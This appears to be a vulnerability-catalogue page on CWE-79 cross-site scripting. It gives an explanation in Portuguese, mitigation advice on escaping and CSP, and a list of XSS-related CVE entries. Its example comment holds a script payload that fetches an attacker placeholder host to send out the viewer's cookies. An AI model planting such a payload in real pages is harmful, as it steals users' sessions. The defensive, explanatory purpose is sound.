Fallos del tipo CWE-79

30.508 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-34598HIGHYesWiki has Persistant Blind XSS at "/?BazaR&vue=consulter"EPSS 0.2%CVE-2026-35008MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via single.php ticket_id ParameterEPSS 0.2%CVE-2025-67984HIGHWordPress NPS computy plugin <= 2.8.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-119218MEDIUMGreenshift <= 13.2.2 - Unauthenticated Stored DOM-Based Cross-Site Scripting via Comment Author URL via Interaction Layer attach-attribute to Counter data-prefixEPSS 0.2%CVE-2023-37508LOWHCL DevOps Plan is susceptible to a Cross-Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-12047MEDIUMpgAdmin 4: HTML injection in cloud verify_credentials / deploy endpoints via unsanitised SDK exception textEPSS 0.2%CVE-2026-2396MEDIUMList View Google Calendar <= 7.4.3 - Authenticated (Administrator+) Stored Cross-Site Scripting via Event DescriptionEPSS 0.2%CVE-2025-68863HIGHWordPress iContact for Gravity Forms plugin <= 1.3.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-2404MEDIUMXSS in Ubit Information Technologies' STOYSEPSS 0.2%CVE-2025-69302HIGHWordPress DesignThemes Core Features plugin <= 2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-46241MEDIUMPHPGurukul Dairy Farm Shop Management System v1.1 is vulnerable to Cross-Site Scripting (XSS) via the pname parameter in add_product.php andEPSS 0.2%CVE-2026-120019MEDIUMW3 Total Cache <= 2.10.7 - Unauthenticated Stored Cross-Site Scripting via Comment Content via Predictable Minify PlaceholderEPSS 0.2%CVE-2026-22678MEDIUMWebmin < 2.641 Stored XSS via System and Server StatusEPSS 0.2%CVE-2026-46642MEDIUMdraw.io: XSS via crafted cell label when opening a .drawio fileEPSS 0.2%CVE-2026-35009MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via add_note.php ticket_id ParameterEPSS 0.2%CVE-2024-57278MEDIUMA reflected Cross-Site Scripting (XSS) vulnerability exists in /webscan/sqlmap/index.html in QingScan <=v1.8.0. The vulnerability is caused EPSS 0.2%CVE-2026-35015MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via do_unit_mail.php the_ticket ParameterEPSS 0.2%CVE-2026-63171MEDIUMOmnispace Agora Project < 26.10.0 Stored XSS via Category DescriptionEPSS 0.2%CVE-2026-110802MEDIUMAltair: DOM-based XSS via attacker-controlled script URLs in the iframe sandboxEPSS 0.2%CVE-2026-11878HIGHReflected Cross-Site Scripting vulnerability in OpenText Access ManagerEPSS 0.2%